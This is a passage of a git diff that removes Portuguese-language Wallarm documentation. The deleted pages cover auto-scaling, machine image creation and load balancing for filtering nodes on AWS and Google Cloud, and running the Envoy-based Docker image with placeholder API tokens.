AWS precisa da função **AutoScalingNotificationAccessRole** para a configuração de notificações. - - !!! info "Exemplo" - Você pode configurar a ativação de um evento com o nome **Utilização alta da CPU** ao atingir uma carga média do processador de 60% em cinco minutos: - - ![Um exemplo de alarme][img-alarm-example] - - - - !!! info "Métricas padrão disponíveis da nuvem Amazon" - * Utilização da CPU (em percentuais) - * Leituras de Disco (em bytes) - * Gravações de Disco (em bytes) - * Contagem de Operações de Leitura de Disco - * Contagem de Operações de Gravação de Disco - * Entrada de Rede (em bytes) - * Saída de Rede (em bytes) - - 4. Clique no botão **Criar Alarme** para criar um evento. - - 5. Selecione a ação a ser tomada no caso do evento **Utilização alta da CPU** ser acionado. Por exemplo, você pode configurar uma política de auto scaling para adicionar (usando a ação **Adicionar**) uma instância quando o evento for acionado. - - 6. O evento pode ser acionado cedo se ocorrerem picos no consumo de recursos após a adição de uma nova instância. Para evitar isso, você pode configurar um período de aquecimento em segundos usando o parâmetro **Instâncias precisam de `X` segundos para aquecer**. Nenhum evento será acionado durante este período de tempo. - -14. Similarmente, use o grupo de parâmetros **Diminuir Tamanho do Grupo** para configurar a política de diminuição do tamanho do grupo. - - ![Política de diminuição do tamanho do grupo][img-asg-decrease-policy] - -15. Se necessário, configure notificações e tags para o Grupo de Auto Scaling ou prossiga para a revisão das mudanças clicando no botão **Revisar**. - -16. Certifique-se de que todos os parâmetros estão corretamente especificados e depois inicie o processo de criação do Grupo de Auto Scaling clicando no botão **Criar Grupo de Auto Scaling**. - -O número especificado de instâncias será lançado automaticamente após a criação bem-sucedida do Grupo de Auto Scaling. - -Você pode verificar que o Grupo de Auto Scaling foi criado corretamente visualizando o número de instâncias lançadas no grupo e comparando esses dados com o número de nós de filtragem conectados à Nuvem Wallarm. - -Você pode fazer isso usando o Console Wallarm. Por exemplo, se duas instâncias com nós de filtragem estiverem operando simultaneamente, o Console Wallarm exibirá esse número para o nó Wallarm correspondente na seção **Nós**. - -![Checando o status do Grupo de Auto Scaling][img-check-asg-in-cloud] - -Agora você pode prosseguir com a [criação e configuração][link-doc-lb-guide] de um balanceador de carga. \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md b/docs/latest-pt-BR/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md deleted file mode 100644 index d547695772..0000000000 --- a/docs/latest-pt-BR/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md +++ /dev/null @@ -1,50 +0,0 @@ -[link-doc-aws-as]: https://docs.aws.amazon.com/autoscaling/plans/userguide/what-is-aws-auto-scaling.html -[link-doc-ec2-as]: https://docs.aws.amazon.com/autoscaling/ec2/userguide/GettingStartedTutorial.html -[link-doc-as-faq]: https://aws.amazon.com/autoscaling/faqs/ - -[link-doc-ami-creation]: create-image.md -[link-doc-asg-guide]: autoscaling-group-guide.md -[link-doc-lb-guide]: load-balancing-guide.md -[link-doc-create-template]: autoscaling-group-guide.md#1-creating-a-launch-template -[link-doc-create-asg]: autoscaling-group-guide.md#2-creating-an-auto-scaling-group -[link-doc-create-lb]: load-balancing-guide.md#1-creating-a-load-balancer -[link-doc-set-up-asg]: load-balancing-guide.md#2-setting-up-an-auto-scaling-group-for-using-the-created-balancer - - -# Visão geral da configuração de auto escalonamento do nó de filtragem no AWS - -Você pode configurar o auto escalonamento do nó de filtragem da Wallarm para garantir que os nós de filtragem sejam capazes de lidar com flutuações de tráfego, se houver alguma. Ativar o auto escalonamento permite processar as solicitações de entrada para o aplicativo usando os nós de filtragem, mesmo quando o tráfego aumenta significativamente. - -A nuvem Amazon suporta os seguintes métodos de auto escalonamento: -* AWS Autoscaling: - A nova tecnologia de auto escalonamento com base nas métricas que são coletadas pelo AWS. - - Para ver informações detalhadas sobre o Auto Escalonamento AWS, vá para este [link][link-doc-aws-as]. - -* EC2 Autoscaling: - A tecnologia de auto escalonamento legado que permite criar variáveis personalizadas para definir as regras de escalonamento. - - Para ver informações detalhadas sobre o Auto Escalonamento EC2, vá para este [link][link-doc-ec2-as]. - -!!! info "Informação sobre métodos de auto escalonamento" - Para ver perguntas frequentes detalhadas sobre métodos de auto escalonamento fornecidos pela Amazon, vá para este [link][link-doc-as-faq]. - -Este guia explica como configurar o auto escalonamento dos nós de filtragem usando o Auto Escalonamento EC2, mas você também pode usar o Auto Escalonamento AWS, se necessário. - -!!! warning "Pré-requisitos" - Uma imagem de máquina virtual (Amazon Machine Image, AMI) com o nó de filtragem da Wallarm é necessária para configurar o auto escalonamento. - - Para ver informações detalhadas sobre a criação de uma AMI com o nó de filtragem, prossiga com este [link][link-doc-ami-creation]. - -!!! info "Chave SSH privada" - Certifique-se de ter acesso à chave privada SSH (armazenada no formato PEM) que você criou anteriormente para se conectar ao nó de filtragem. - -Para ativar o auto escalonamento do nó de filtragem na nuvem Amazon, faça as seguintes etapas: - -1. [Crie uma Amazon Machine Image](create-image.md) -1. [Configure o auto escalonamento do nó de filtragem][link-doc-asg-guide] - 1. [Crie um Modelo de Inicialização][link-doc-create-template] - 2. [Crie um Grupo de Auto Escalonamento][link-doc-create-asg] -1. [Configure o balanceamento de solicitações de entrada][link-doc-lb-guide] - 1. [Crie um balanceador de carga][link-doc-create-lb] - 2. [Configure um Grupo de Auto Escalonamento para usar o balanceador de carga criado][link-doc-set-up-asg] \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/installation-guides/amazon-cloud/create-image.md b/docs/latest-pt-BR/admin-en/installation-guides/amazon-cloud/create-image.md deleted file mode 100644 index ef761a3e96..0000000000 --- a/docs/latest-pt-BR/admin-en/installation-guides/amazon-cloud/create-image.md +++ /dev/null @@ -1,92 +0,0 @@ -[link-docs-aws-autoscaling]: autoscaling-group-guide.md -[link-docs-aws-node-setup]: ../../../installation/cloud-platforms/aws/ami.md -[link-ssh-keys-guide]: ../../../installation/cloud-platforms/aws/ami.md#1-create-a-pair-of-ssh-keys -[link-security-group-guide]: ../../../installation/cloud-platforms/aws/ami.md#2-create-a-security-group -[link-cloud-connect-guide]: ../../../installation/cloud-platforms/aws/ami.md#5-connect-the-filtering-node-to-the-wallarm-cloud -[link-docs-reverse-proxy-setup]: ../../../installation/cloud-platforms/aws/ami.md#6-enable-wallarm-to-analyze-the-traffic -[link-docs-check-operation]: ../../installation-check-operation-en.md - -[img-launch-ami-wizard]: ../../../images/installation-ami/auto-scaling/common/create-image/launch-ami-wizard.png -[img-config-ami-wizard]: ../../../images/installation-ami/auto-scaling/common/create-image/config-ami-wizard.png -[img-explore-created-ami]: ../../../images/installation-ami/auto-scaling/common/create-image/explore-ami.png - -[anchor-node]: #1-creating-and-configuring-the-wallarm-filtering-node-instance-in-the-amazon-cloud -[anchor-ami]: #2-creating-an-amazon-machine-image - -# Criando um AMI com o nodo de filtragem Wallarm - -Você pode configurar o auto scaling para os nodos de filtragem Wallarm implantados na nuvem Amazon. Esta função requer imagens de máquina virtual previamente preparadas. - -Este documento descreve o procedimento de preparação de uma imagem de máquina Amazon (AMI) com o nodo de filtragem Wallarm instalado. AMI é necessário para a configuração de auto scaling do nodo de filtragem. Para ver informações detalhadas sobre a configuração do auto scaling, prossiga para este [link][link-docs-aws-autoscaling]. - -Para criar um AMI com o nodo de filtragem Wallarm, execute os seguintes procedimentos: - -1. [Criando e configurando a instância do nodo de filtragem na nuvem Amazon][anchor-node] -2. [Criando um AMI com base na instância do nodo de filtragem configurada][anchor-ami] - - -## 1. Criando e configurando a instância do nodo de filtragem Wallarm na nuvem Amazon - -Antes de criar um AMI, você precisa executar uma configuração inicial de um único nodo de filtragem Wallarm. Para configurar um nodo de filtragem, faça o seguinte: - -1. [Crie][link-docs-aws-node-setup] uma instância de nodo de filtragem na nuvem Amazon. - - !!! warning "Chave SSH privada" - Certifique-se de ter acesso à chave SSH privada (armazenada no formato PEM) que você [criou][link-ssh-keys-guide] anteriormente para se conectar ao nodo de filtragem. - - !!! warning "Forneça ao nodo de filtragem uma conexão à internet" - O nodo de filtragem requer acesso ao servidor Wallarm API para um funcionamento adequado. A escolha do servidor Wallarm API depende da nuvem Wallarm que você está utilizando: - - * Se você está usando a nuvem dos EUA, seu nodo precisa ter acesso a `https://us1.api.wallarm.com`. - * Se você está usando a nuvem da UE, seu nodo precisa ter acesso a `https://api.wallarm.com`. - -Certifique-se de que você escolha a VPC e subredes corretas e [configure um grupo de segurança][link-security-group-guide] de uma maneira que não impeça o nodo de filtragem de acessar os servidores Wallarm API. - -2. [Conecte][link-cloud-connect-guide] o nodo de filtragem à nuvem Wallarm. - - !!! warning "Use um token para se conectar à nuvem Wallarm" - Por favor, note que você precisa conectar o nodo de filtragem à nuvem Wallarm usando um token. É permitido conectar vários nodos de filtragem à nuvem Wallarm usando o mesmo token. - - Assim, ao escalar automaticamente os nodos de filtragem, você não precisará conectar manualmente cada um dos nodos de filtragem à nuvem Wallarm. - -3. [Configure][link-docs-reverse-proxy-setup] o nodo de filtragem para atuar como um proxy reverso para sua aplicação web. - -4. [Certifique-se][link-docs-check-operation] de que o nodo de filtragem está configurado corretamente e proteje sua aplicação web contra solicitações maliciosas. - -Depois de ter configurado o nodo de filtragem, desligue a máquina virtual executando as seguintes ações: - -1. Navegue até a aba **Instances** no painel Amazon EC2. -2. Selecione sua instância de nodo de filtragem configurada. -3. Selecione **Instance State** e depois **Stop** no menu suspenso **Actions**. - -!!! info "Desligando com o comando `poweroff`" - Você também pode desligar a máquina virtual conectando-se a ela via protocolo SSH e executando o seguinte comando: - - ``` bash - poweroff - ``` - -## 2. Criando uma imagem de máquina Amazon - -Agora você pode criar uma imagem de máquina virtual com base na instância do nodo de filtragem configurada. Para criar uma imagem, execute as seguintes etapas: - -1. Prossiga para a aba **Instances** no painel Amazon EC2. -2. Selecione sua instância de nodo de filtragem configurada. -3. Inicie o assistente de criação de imagens selecionando **Image** e depois **Create Image** no menu suspenso **Actions**. - - ![Iniciar o assistente de criação AMI][img-launch-ami-wizard] - -4. O formulário **Create Image** aparecerá. Digite o nome da imagem no campo **Image name**. Você pode deixar os demais campos inalterados. - - ![Configurar parâmetros no assistente de criação AMI][img-config-ami-wizard] - -5. Clique no botão **Create Image** para iniciar o processo de criação da imagem da máquina virtual. - - Quando o processo de criação da imagem estiver concluído, a mensagem correspondente será exibida. Navegue até a aba **AMIs** no painel Amazon EC2 para certificar-se de que a imagem foi criada com sucesso e tem o status **Available**. - - ![Explorar a AMI criada][img-explore-created-ami] - -!!! info "Visibilidade da imagem" - Como a imagem preparada contém configurações específicas para sua aplicação e o token Wallarm, não é recomendável alterar a configuração de visibilidade da imagem e torná-la pública (por padrão, as AMIs são criadas com a configuração de visibilidade **Private**). - -Agora você pode [configurar][link-docs-aws-autoscaling] o auto scaling dos nodos de filtragem Wallarm na nuvem Amazon usando a imagem preparada. \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md b/docs/latest-pt-BR/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md deleted file mode 100644 index 541dfdc714..0000000000 --- a/docs/latest-pt-BR/admin-en/installation-guides/amazon-cloud/load-balancing-guide.md +++ /dev/null @@ -1,103 +0,0 @@ -[link-doc-asg-guide]: autoscaling-group-guide.md -[link-docs-check-operation]: ../../installation-check-operation-en.md - -[link-aws-lb-comparison]: https://docs.aws.amazon.com/elasticloadbalancing/latest/userguide/what-is-load-balancing.html?icmpid=docs_elbv2_console#elb-features - -[img-lb-basics]: ../../../images/installation-ami/auto-scaling/common/load-balancing-guide/lb-create-1.png -[img-lb-routing]: ../../../images/installation-ami/auto-scaling/common/load-balancing-guide/lb-create-3.png -[img-checking-operation]: ../../../images/admin-guides/test-attacks-quickstart.png - -[anchor-create]: #1-creating-a-load-balancer -[anchor-configure]: #2-setting-up-an-auto-scaling-group-for-using-the-created-balancer - -# Criando um Load Balancer na AWS - -Agora, uma vez que você possui um nó de filtragem com Auto Scaling Group [configurado][link-doc-asg-guide], você precisa criar e configurar um Load Balancer que distribui as conexões HTTP e HTTPS de entrada entre vários nós de filtragem do Auto Scaling Group. - -O processo de criação de Load Balancer inclui as seguintes etapas: -1. [Criando um Load Balancer][anchor-create] -2. [Configurando um Auto Scaling Group para Utilizar o Balanceador Criado][anchor-configure] - -## 1. Criando um Load Balancer - -Você pode configurar os seguintes tipos de Load Balancers na nuvem da Amazon: -* Classic Load Balancer -* Network Load Balancer -* Application Load Balancer - -!!! info "Diferenças entre os Load Balancers" - Para visualizar informações detalhadas sobre as diferenças entre os Load Balancers, acesse este [link][link-aws-lb-comparison]. - -Este documento demonstra a configuração e o uso do Network Load Balancer que distribui o tráfego no nível de transporte do modelo de rede OSI/ISO. - -Crie um Load Balancer completando as seguintes ações: -1. Navegue até a aba **Load Balancers** no painel do Amazon EC2 e clique no botão **Criar Load Balancer**. - -2. Crie um Network Load Balancer clicando no botão **Criar** correspondente. - -3. Configure os parâmetros básicos do Load Balancer: - - ![Configuração dos parâmetros gerais do Load Balancer][img-lb-basics] - - 1. O nome do balanceador (parâmetro **Nome**). - - 2. O tipo de balanceador (parâmetro **Esquema**). Selecione o tipo **internet-facing** para que o balanceador esteja disponível na internet. - - 3. Especifique as portas para o balanceador ouvir usando o grupo de parâmetros **Listeners**. - - 4. Especifique o VPC e as Zones de Disponibilidade necessários nos quais o balanceador deve estar operando. - - !!! info "Verifique a disponibilidade do Auto Scaling Group" - Verifique se você selecionou o VPC e as Zonas de Disponibilidade que contém o Auto Scaling Group [criado anteriormente][link-doc-asg-guide] para o correto funcionamento do balanceador de carga. - -4. Prossiga para a próxima etapa clicando no botão **Próximo: Configurar Configurações de Segurança**. - - Configure os parâmetros de segurança se necessário. - -5. Continue para a próxima etapa clicando no botão **Próximo: Configurar Rotas**. - - Configure o roteamento das solicitações de entrada para os nós de filtragem no Auto Scaling Group. - - ![Configurando o roteamento das conexões de entrada][img-lb-routing] - - 1. Crie um novo grupo de destino e especifique seu nome no campo **Nome**. O Load Balancer encaminhará as solicitações de entrada para as instâncias localizadas no grupo de destino especificado (por exemplo, `demo-target`). - - 2. Configure o protocolo e a porta a serem usados para o roteamento de solicitações. - - Especifique o protocolo TCP e as portas 80 e 443 (se você tiver tráfego HTTPS) para o nó de filtragem. - - 3. Se necessário, configure as verificações de disponibilidade usando o grupo de parâmetros **Health Checks**. - -6. Prossiga para a próxima etapa clicando no botão **Próximo: Registrar Alvos**. - - Esta etapa não requer ações. - -7. Mude para a próxima etapa clicando no botão **Próximo: Revisão**. - - Verifique se todos os parâmetros estão especificados corretamente e inicie o processo de criação do Load Balancer clicando no botão **Criar**. - -!!! info "Aguarde até que o Load Balancer esteja inicializado" - Após a criação do Load Balancer, é necessário um tempo para que esteja pronto para receber tráfego. - -## 2. Configurando um Auto Scaling Group para utilizar o balanceador criado - -Configure seu Auto Scaling Group para utilizar o Load Balancer criado anteriormente. Isso permitirá que o balanceador direcione o tráfego para as instâncias do nó de filtragem que são lançadas no grupo. - -Para fazer isso, complete as seguintes ações: -1. Navegue até a aba **Auto Scaling Groups** no painel do Amazon EC2 e selecione o Auto Scaling Group [criado anteriormente][link-doc-asg-guide]. - -2. Abra o diálogo de edição de configuração do grupo selecionando *Edit* no menu suspenso **Ações**. - -3. Selecione o grupo de destino **demo-target** [criado][anchor-create] ao configurar o Load Balancer na lista suspensa **Grupos de destino**. - -4. Aplique as mudanças clicando no botão **Salvar**. - -Agora o conjunto de nós de filtragem Wallarm de escalonamento dinâmico processará o tráfego de entrada para o seu aplicativo. - -Para verificar a operação dos nós de filtragem implantados, execute as seguintes etapas: - -1. Verifique se o seu aplicativo está acessível através do Load Balancer e dos nós de filtragem Wallarm referindo-se ao endereço IP do balanceador ou ao nome do domínio usando o navegador. - -2. Verifique se os serviços Wallarm protegem seu aplicativo [realizando um ataque de teste][link-docs-check-operation]. - -![Checando a operação do nó de filtragem][img-checking-operation] \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/installation-guides/envoy/envoy-docker.md b/docs/latest-pt-BR/admin-en/installation-guides/envoy/envoy-docker.md deleted file mode 100644 index 2e326183f3..0000000000 --- a/docs/latest-pt-BR/admin-en/installation-guides/envoy/envoy-docker.md +++ /dev/null @@ -1,112 +0,0 @@ -# Executando a Imagem Docker Baseada em Envoy - -Essas instruções descrevem as etapas para executar a imagem Docker Wallarm baseada em [Envoy 1.18.4](https://www.envoyproxy.io/docs/envoy/latest/version_history/v1.18.4). A imagem contém todos os sistemas necessários para a operação correta do nó Wallarm: - -* Serviços de proxy Envoy com o módulo Wallarm embutido -* Módulos do Tarantool para pós-análise -* Outros serviços e scripts - -O módulo Wallarm é projetado como um filtro HTTP Envoy para proxying de solicitações. - -!!! aviso "Parâmetros de configuração suportados" - Observe que a maioria das [diretivas][nginx-directives-docs] para a configuração do nó de filtragem baseado em NGINX não são suportadas para a configuração do nó de filtragem baseado em Envoy. Consequentemente, a configuração de [limite de taxa][rate-limit-docs] não está disponível neste método de implantação. - - Veja a lista de parâmetros disponíveis para a [configuração do nó de filtragem baseada em Envoy →][docker-envoy-configuration-docs] - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/docker-images/envoy-based-use-cases.md" - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/docker-images/envoy-requirements.md" - -## Opções para executar o contêiner - -Os parâmetros de configuração do nó de filtragem podem ser passados ​​para o comando `docker run` das seguintes maneiras: - -* **Nas variáveis ​​de ambiente**. Esta opção permite a configuração de apenas os parâmetros básicos do nó de filtragem, a maioria dos [parâmetros][docker-envoy-configuration-docs] não pode ser alterada através de variáveis ​​de ambiente. -* **No arquivo de configuração montado**. Esta opção permite a configuração de todos os [parâmetros][docker-envoy-configuration-docs] do nó de filtragem. - -## execute o contêiner passando as variáveis ​​de ambiente - -Para executar o contêiner: - ---8<-- "../include-pt-BR/waf/installation/get-api-or-node-token.md" - -1. Execute o contêiner com o nó: - - === "Nuvem dos EUA" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e ENVOY_BACKEND='example.com' -e WALLARM_API_HOST='us1.api.wallarm.com' -p 80:80 wallarm/envoy:4.8.0-1 - ``` - === "Nuvem da UE" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e ENVOY_BACKEND='example.com' -p 80:80 wallarm/envoy:4.8.0-1 - ``` - -Você pode passar as seguintes configurações básicas do nó de filtragem para o contêiner por meio da opção `-e`: - -Variável de ambiente | Descrição | Necessário ---- | ---- | ---- -`WALLARM_API_TOKEN` | Token de nó ou API do Wallarm. | Sim -`ENVOY_BACKEND` | Domínio ou endereço IP do recurso a ser protegido com a solução Wallarm. | Sim -`WALLARM_API_HOST` | Servidor API Wallarm:
            • `us1.api.wallarm.com` para a Nuvem dos EUA
            • `api.wallarm.com` para a Nuvem da UE
            Por padrão: `api.wallarm.com`. | Não -`WALLARM_MODE` | Modo de nó:
            • `block` para bloquear solicitações maliciosas
            • `safe_blocking` para bloquear apenas aquelas solicitações maliciosas originadas de [endereços IP cinza listados][graylist-docs]
            • `monitoring` para analisar, mas não bloquear solicitações
            • `off` para desativar a análise e o processamento de tráfego
            Por padrão: `monitoring`.
            [Descrição detalhada dos modos de filtragem →][wallarm-mode-docs] | Não -`WALLARM_LABELS` |

            Disponível a partir do nó 4.6. Funciona apenas se `WALLARM_API_TOKEN` for definido como [token de API][api-tokens-docs] com a função `Deploy`. Define o rótulo `group` para agrupamento de instâncias de nó, por exemplo:

            `WALLARM_LABELS="group="`

            ... colocará a instância de nó no grupo de instâncias` ` (existente ou, se não existir, será criado).

            | Sim (para tokens de API) -`TARANTOOL_MEMORY_GB` | [Quantidade de memória][allocate-resources-for-wallarm-docs] alocada ao Tarantool. O valor pode ser um número inteiro ou um número decimal (um ponto . é um separador decimal). Por padrão: 0.2 gigabytes. | Não - -O comando faz o seguinte: - -* Cria o arquivo `envoy.yaml` com configuração mínima de Envoy no diretório do contêiner `/etc/envoy`. -* Cria arquivos com credenciais do nó de filtragem para acessar a Wallarm Cloud no diretório do contêiner `/etc/wallarm`: - * `node.yaml` com UUID do nó de filtragem e chave secreta - * `private.key` com chave privada Wallarm -* Protege o recurso `http://ENVOY_BACKEND:80`. - -## Execute o contêiner montando o envoy.yaml - -Você pode montar o arquivo preparado `envoy.yaml` no contêiner Docker por meio da opção `-v`. O arquivo deve conter as seguintes configurações: - -* Configurações do nó de filtragem, conforme descrito nas [instruções][docker-envoy-configuration-docs] -* Configurações Envoy conforme descrito nas [instruções Envoy](https://www.envoyproxy.io/docs/envoy/v1.15.0/configuration/overview/overview) - -Para executar o contêiner: - ---8<-- "../include-pt-BR/waf/installation/get-api-or-node-token.md" - -1. Execute o contêiner com o nó: - - === "Nuvem dos EUA" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_API_HOST='us1.api.wallarm.com' -v /configs/envoy.yaml:/etc/envoy/envoy.yaml -p 80:80 wallarm/envoy:4.8.0-1 - ``` - === "Nuvem da UE" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -v /configs/envoy.yaml:/etc/envoy/envoy.yaml -p 80:80 wallarm/envoy:4.8.0-1 - ``` - - * A opção `-e` passa as seguintes variáveis ​​de ambiente obrigatórias para o contêiner: - - Variável de ambiente | Descrição | Necessário - --- | ---- | ---- - `WALLARM_API_TOKEN` | Token de nó do Wallarm.

            Usando um token para várias instalações

            Você pode usar um token em várias instalações, independentemente do [plataforma][supported-deployments] selecionada. Ele permite o agrupamento lógico de instâncias de nós na interface de usuário do Console Wallarm. Exemplo: você implanta vários nós Wallarm em um ambiente de desenvolvimento, cada nó está em sua própria máquina de propriedad de um certo desenvolvedor.

            | Sim - `WALLARM_API_HOST` | Servidor API Wallarm:
            • `us1.api.wallarm.com` para a Nuvem dos EUA
            • `api.wallarm.com` para a Nuvem da UE
            Por padrão: `api.wallarm.com`. | Não - - * A opção `-v` monta o diretório com o arquivo de configuração `envoy.yaml` no diretório do contêiner `/etc/envoy`. - -O comando faz o seguinte: - -* Monta o arquivo `envoy.yaml` no diretório do contêiner `/etc/envoy`. -* Cria arquivos com credenciais do nó de filtragem para acessar a Wallarm Cloud no diretório do contêiner `/etc/wallarm`: - * `node.yaml` com UUID do nó de filtragem e chave secreta - * `private.key` com chave privada Wallarm -* Protege o recurso especificado no arquivo de configuração montado. - -## Configuração da rotação de logs (opcional) - -A rotação do arquivo de log está pré-configurada e ativada por padrão. Você pode ajustar as configurações de rotação, se necessário. Essas configurações estão localizadas no diretório `/etc/logrotate.d` do contêiner. - -## Testando a operação do nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/test-waf-operation-no-stats.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/installation-guides/google-cloud/autoscaling-overview.md b/docs/latest-pt-BR/admin-en/installation-guides/google-cloud/autoscaling-overview.md deleted file mode 100644 index 21a1346245..0000000000 --- a/docs/latest-pt-BR/admin-en/installation-guides/google-cloud/autoscaling-overview.md +++ /dev/null @@ -1,26 +0,0 @@ -[link-doc-image-creation]: create-image.md -[link-doc-template-creation]: creating-instance-template.md -[link-doc-managed-autoscaling-group]: creating-autoscaling-group.md -[link-doc-lb-guide]: load-balancing-guide.md - -# Configurando o auto scaling do nodo de filtragem na Plataforma do Google Cloud: Visão geral - -Você pode configurar o auto scaling do nodo de filtragem Wallarm na Plataforma do Google Cloud (GCP) para garantir que os nodos de filtragem sejam capazes de lidar com flutuações de tráfego (se houver). Habilitar o auto scaling permite o processamento de solicitações de entrada para o aplicativo usando os nodos de filtragem mesmo quando o tráfego aumenta significativamente. - -!!! Aviso "Pré-requisitos" - A configuração do auto scaling requer a imagem da máquina virtual com o nodo de filtragem Wallarm. - - Para informações detalhadas sobre como criar uma imagem da máquina virtual com o nodo de filtragem Wallarm no GCP, prossiga para este [link][link-doc-image-creation]. - ---8<-- "../include-pt-BR/gcp-autoscaling-connect-ssh.md" - -Para auto escalar nodos de filtragem na Plataforma do Google Cloud, execute as seguintes etapas: - -1. [Criar uma Imagem da Máquina](create-image.md) -1. Configurar o auto scaling do nodo de filtragem: - 1. [Criar um template de instância do nodo de filtragem][link-doc-template-creation]; - 2. [Criar um grupo de instâncias gerenciadas com auto scaling habilitado][link-doc-managed-autoscaling-group]; -1. [Configurar o balanceamento de solicitações de entrada][link-doc-lb-guide]. - -!!! informação "Direitos necessários" - Antes de configurar o auto scaling, certifique-se de que sua conta GCP possui a função `Compute Admin`. \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/installation-guides/google-cloud/create-image.md b/docs/latest-pt-BR/admin-en/installation-guides/google-cloud/create-image.md deleted file mode 100644 index e8b3cd7d81..0000000000 --- a/docs/latest-pt-BR/admin-en/installation-guides/google-cloud/create-image.md +++ /dev/null @@ -1,76 +0,0 @@ -[link-docs-gcp-autoscaling]: autoscaling-overview.md -[link-docs-gcp-node-setup]: ../../../installation/cloud-platforms/gcp/machine-image.md -[link-cloud-connect-guide]: ../../../installation/cloud-platforms/gcp/machine-image.md#4-connect-the-filtering-node-to-the-wallarm-cloud -[link-docs-reverse-proxy-setup]: ../../../installation/cloud-platforms/gcp/machine-image.md#5-enable-wallarm-to-analyze-the-traffic -[link-docs-check-operation]: ../../installation-check-operation-en.md - -[img-vm-instance-poweroff]: ../../../images/installation-gcp/auto-scaling/common/create-image/vm-poweroff.png -[img-create-image]: ../../../images/installation-gcp/auto-scaling/common/create-image/create-image.png -[img-check-image]: ../../../images/installation-gcp/auto-scaling/common/create-image/image-list.png - -[anchor-node]: #1-creating-and-configuring-the-filtering-node-instance-on-the-google-cloud-platform -[anchor-gcp]: #2-creating-a-virtual-machine-image - -# Criando uma imagem com o nó de filtragem Wallarm na Plataforma Google Cloud - -Para configurar o auto escalonamento dos nós de filtragem Wallarm implantados na Plataforma Google Cloud (GCP), você primeiro precisa de imagens de máquinas virtuais. Este documento descreve o procedimento para preparar uma imagem da máquina virtual com o nó de filtragem Wallarm instalado. Para obter informações detalhadas sobre a configuração do auto escalonamento, prossiga para este [link][link-docs-gcp-autoscaling]. - -Para criar uma imagem com o nó de filtragem Wallarm no GCP, execute os seguintes procedimentos: -1. [Criando e configurando a instância do nó de filtragem na Plataforma Google Cloud][anchor-node]. -2. [Criando uma imagem de máquina virtual com base na instância de nó de filtragem configurada][anchor-gcp]. - -## 1. Criando e configurando a instância do nó de filtragem na Plataforma Google Cloud - -Antes de criar uma imagem, você precisa realizar uma configuração inicial de um único nó de filtragem Wallarm. Para configurar um nó de filtragem, faça o seguinte: -1. [Crie e configure][link-docs-gcp-node-setup] uma instância de nó de filtragem no GCP. - - !!! warning "Forneça ao nó de filtragem uma conexão à internet" - O nó de filtragem requer acesso a um servidor Wallarm API para um funcionamento adequado. A escolha do servidor Wallarm API depende do Wallarm Cloud que você está usando: - - * Se estiver usando a nuvem dos EUA, seu nó precisa ter acesso ao `https://us1.api.wallarm.com`. - * Se estiver usando a nuvem da UE, seu nó precisa ter acesso ao `https://api.wallarm.com`. - - --8<-- "../include-pt-BR/gcp-autoscaling-connect-ssh.md" - -2. [Conecte][link-cloud-connect-guide] o nó de filtragem à nuvem Wallarm. - - !!! warning "Use um token para se conectar à nuvem Wallarm" - Por favor, observe que você precisa conectar o nó de filtragem à nuvem Wallarm usando um token. Vários nós de filtragem são permitidos para se conectar à nuvem Wallarm usando o mesmo token. - - Assim, você não precisará conectar manualmente cada um dos nós de filtragem à nuvem Wallarm quando eles criarem auto-escala. - -3. [Configure][link-docs-reverse-proxy-setup] o nó de filtragem para atuar como um proxy reverso para a sua aplicação web. - -4. [Certifique-se][link-docs-check-operation] de que o nó de filtragem está correctamente configurado e protege a sua aplicação web contra solicitações maliciosas. - -Depois de ter terminado de configurar o nó de filtragem, desligue a máquina virtual completando as seguintes ações: -1. Navegue até a página **Instâncias de VM** na seção **Mecanismo de computação** do menu. -2. Abra o menu suspenso clicando no botão de menu à direita da coluna **Conectar**. -3. Selecione **Parar** no menu suspenso. - -![Desligando a máquina virtual][img-vm-instance-poweroff] - -!!! info "Desligando usando o comando `poweroff`" - Você também pode desligar a máquina virtual conectando-se a ela através do protocolo SSH e executando o seguinte comando: - - ``` bash - poweroff - ``` - -## 2. Criando uma imagem de máquina virtual - -Agora você pode criar uma imagem de máquina virtual com base na instância de nó de filtragem configurada. Para criar uma imagem, execute os seguintes passos: -1. Navegue até a página **Imagens** na seção **Mecanismo de computação** do menu e clique no botão **Criar imagem**. -2. Insira o nome da imagem no campo **Nome**. -3. Selecione **Disco** na lista suspensa **Origem**. -4. Selecione o nome da [máquina virtual anteriormente criada][anchor-node] na lista suspensa **Disco de origem**. - - ![Criando uma imagem][img-create-image] - -5. Clique no botão **Criar** para iniciar o processo de criação da imagem da máquina virtual. - -Uma vez terminado o processo de criação da imagem, você será direcionado para uma página que contém a lista de imagens disponíveis. Certifique-se de que a imagem foi criada com sucesso e está presente na lista. - -![Lista de imagens][img-check-image] - -Agora você pode [configurar o auto escalonamento][link-docs-gcp-autoscaling] dos nós de filtragem Wallarm na Plataforma Google Cloud utilizando a imagem preparada. \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md b/docs/latest-pt-BR/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md deleted file mode 100644 index b26406902e..0000000000 --- a/docs/latest-pt-BR/admin-en/installation-guides/google-cloud/creating-autoscaling-group.md +++ /dev/null @@ -1,63 +0,0 @@ -[img-creating-instance-group]: ../../../images/installation-gcp/auto-scaling/common/autoscaling-group-guide/create-instance-group.png -[img-create-instance-group-example]: ../../../images/installation-gcp/auto-scaling/common/autoscaling-group-guide/create-scalable-instance-group.png -[img-checking-nodes-operation]: ../../../images/cloud-node-status.png - -[link-cpu-usage-policy]: 